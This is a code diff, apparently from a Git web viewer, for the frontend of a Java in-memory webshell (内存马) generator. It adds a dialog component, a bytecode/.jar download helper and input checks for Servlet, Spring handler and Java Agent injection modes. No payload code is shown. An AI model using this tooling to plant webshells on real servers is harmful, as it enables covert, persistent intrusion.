<p>当使用 SpringWebFlux HandlerFunction 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
</TooltipContent>
|
</TooltipContent>
|
||||||
</Tooltip>
|
</Tooltip>
|
||||||
</TooltipProvider>
|
</TooltipProvider>
|
||||||
|
|||||||
@@ -0,0 +1,104 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog";
|
||||||
|
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
|
import { buttonVariants } from "@/components/ui/button";
|
||||||
|
|
||||||
|
const AlertDialog = AlertDialogPrimitive.Root;
|
||||||
|
|
||||||
|
const AlertDialogTrigger = AlertDialogPrimitive.Trigger;
|
||||||
|
|
||||||
|
const AlertDialogPortal = AlertDialogPrimitive.Portal;
|
||||||
|
|
||||||
|
const AlertDialogOverlay = React.forwardRef<
|
||||||
|
React.ElementRef<typeof AlertDialogPrimitive.Overlay>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Overlay>
|
||||||
|
>(({ className, ...props }, ref) => (
|
||||||
|
<AlertDialogPrimitive.Overlay
|
||||||
|
className={cn(
|
||||||
|
"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
ref={ref}
|
||||||
|
/>
|
||||||
|
));
|
||||||
|
AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName;
|
||||||
|
|
||||||
|
const AlertDialogContent = React.forwardRef<
|
||||||
|
React.ElementRef<typeof AlertDialogPrimitive.Content>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Content>
|
||||||
|
>(({ className, ...props }, ref) => (
|
||||||
|
<AlertDialogPortal>
|
||||||
|
<AlertDialogOverlay />
|
||||||
|
<AlertDialogPrimitive.Content
|
||||||
|
ref={ref}
|
||||||
|
className={cn(
|
||||||
|
"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
</AlertDialogPortal>
|
||||||
|
));
|
||||||
|
AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName;
|
||||||
|
|
||||||
|
const AlertDialogHeader = ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
|
||||||
|
<div className={cn("flex flex-col space-y-2 text-center sm:text-left", className)} {...props} />
|
||||||
|
);
|
||||||
|
AlertDialogHeader.displayName = "AlertDialogHeader";
|
||||||
|
|
||||||
|
const AlertDialogFooter = ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
|
||||||
|
<div className={cn("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2", className)} {...props} />
|
||||||
|
);
|
||||||
|
AlertDialogFooter.displayName = "AlertDialogFooter";
|
||||||
|
|
||||||
|
const AlertDialogTitle = React.forwardRef<
|
||||||
|
React.ElementRef<typeof AlertDialogPrimitive.Title>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Title>
|
||||||
|
>(({ className, ...props }, ref) => (
|
||||||
|
<AlertDialogPrimitive.Title ref={ref} className={cn("text-lg font-semibold", className)} {...props} />
|
||||||
|
));
|
||||||
|
AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName;
|
||||||
|
|
||||||
|
const AlertDialogDescription = React.forwardRef<
|
||||||
|
React.ElementRef<typeof AlertDialogPrimitive.Description>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Description>
|
||||||
|
>(({ className, ...props }, ref) => (
|
||||||
|
<AlertDialogPrimitive.Description ref={ref} className={cn("text-sm text-muted-foreground", className)} {...props} />
|
||||||
|
));
|
||||||
|
AlertDialogDescription.displayName = AlertDialogPrimitive.Description.displayName;
|
||||||
|
|
||||||
|
const AlertDialogAction = React.forwardRef<
|
||||||
|
React.ElementRef<typeof AlertDialogPrimitive.Action>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Action>
|
||||||
|
>(({ className, ...props }, ref) => (
|
||||||
|
<AlertDialogPrimitive.Action ref={ref} className={cn(buttonVariants(), className)} {...props} />
|
||||||
|
));
|
||||||
|
AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName;
|
||||||
|
|
||||||
|
const AlertDialogCancel = React.forwardRef<
|
||||||
|
React.ElementRef<typeof AlertDialogPrimitive.Cancel>,
|
||||||
|
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Cancel>
|
||||||
|
>(({ className, ...props }, ref) => (
|
||||||
|
<AlertDialogPrimitive.Cancel
|
||||||
|
ref={ref}
|
||||||
|
className={cn(buttonVariants({ variant: "outline" }), "mt-2 sm:mt-0", className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
));
|
||||||
|
AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName;
|
||||||
|
|
||||||
|
export {
|
||||||
|
AlertDialog,
|
||||||
|
AlertDialogPortal,
|
||||||
|
AlertDialogOverlay,
|
||||||
|
AlertDialogTrigger,
|
||||||
|
AlertDialogContent,
|
||||||
|
AlertDialogHeader,
|
||||||
|
AlertDialogFooter,
|
||||||
|
AlertDialogTitle,
|
||||||
|
AlertDialogDescription,
|
||||||
|
AlertDialogAction,
|
||||||
|
AlertDialogCancel,
|
||||||
|
};
|
||||||
@@ -6,9 +6,9 @@ export function cn(...inputs: ClassValue[]) {
|
|||||||
return twMerge(clsx(inputs));
|
return twMerge(clsx(inputs));
|
||||||
}
|
}
|
||||||
|
|
||||||
export function downloadJavaClass(base64String?: string, className?: string) {
|
export function downloadBytes(base64String?: string, className?: string, jarName?: string) {
|
||||||
if (!base64String || !className) {
|
if (!base64String) {
|
||||||
toast.warning("内存马字节码为空,无法下载, 请先生成内存马");
|
toast.warning("字节码为空,无法下载, 请先生成内存马");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const byteCharacters = atob(base64String);
|
const byteCharacters = atob(base64String);
|
||||||
@@ -19,12 +19,12 @@ export function downloadJavaClass(base64String?: string, className?: string) {
|
|||||||
const byteArray = new Uint8Array(byteNumbers);
|
const byteArray = new Uint8Array(byteNumbers);
|
||||||
|
|
||||||
// Create a Blob from the byte array
|
// Create a Blob from the byte array
|
||||||
const blob = new Blob([byteArray], { type: "application/java-vm" });
|
const blob = new Blob([byteArray], { type: className ? "application/java-vm" : "application/java-archive" });
|
||||||
|
|
||||||
// Create a download link
|
// Create a download link
|
||||||
const link = document.createElement("a");
|
const link = document.createElement("a");
|
||||||
link.href = window.URL.createObjectURL(blob);
|
link.href = window.URL.createObjectURL(blob);
|
||||||
link.download = `${className.substring(className.lastIndexOf("."))}.class`;
|
link.download = className ? `${className.substring(className.lastIndexOf("."))}.class` : `${jarName}.jar`;
|
||||||
|
|
||||||
document.body.appendChild(link);
|
document.body.appendChild(link);
|
||||||
link.click();
|
link.click();
|
||||||
|
|||||||
@@ -57,15 +57,46 @@ function IndexComponent() {
|
|||||||
const [packMethod, setPackMethod] = useState<string>("");
|
const [packMethod, setPackMethod] = useState<string>("");
|
||||||
const [isActionPending, startTransition] = useTransition();
|
const [isActionPending, startTransition] = useTransition();
|
||||||
|
|
||||||
async function onSubmit(values: FormSchema) {
|
function customValidation(values: FormSchema) {
|
||||||
startTransition(async () => {
|
|
||||||
if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) {
|
if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) {
|
||||||
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
|
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
|
||||||
return;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) {
|
if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) {
|
||||||
toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller");
|
toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
(values.shellType === "HandlerMethod" || values.shellType === "HandlerFunction") &&
|
||||||
|
(values.urlPattern === "/*" || !values.urlPattern)
|
||||||
|
) {
|
||||||
|
toast.warning("HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (values.shellType.startsWith("Agent") && values.packingMethod !== "AgentJar") {
|
||||||
|
toast.warning("Agent 注入方式当前仅支持 AgentJar 打包方式");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") {
|
||||||
|
toast.warning("Agent 注入方式当前仅支持 Java8 以上");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") {
|
||||||
|
toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function onSubmit(values: FormSchema) {
|
||||||
|
startTransition(async () => {
|
||||||
|
if (!customValidation(values)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user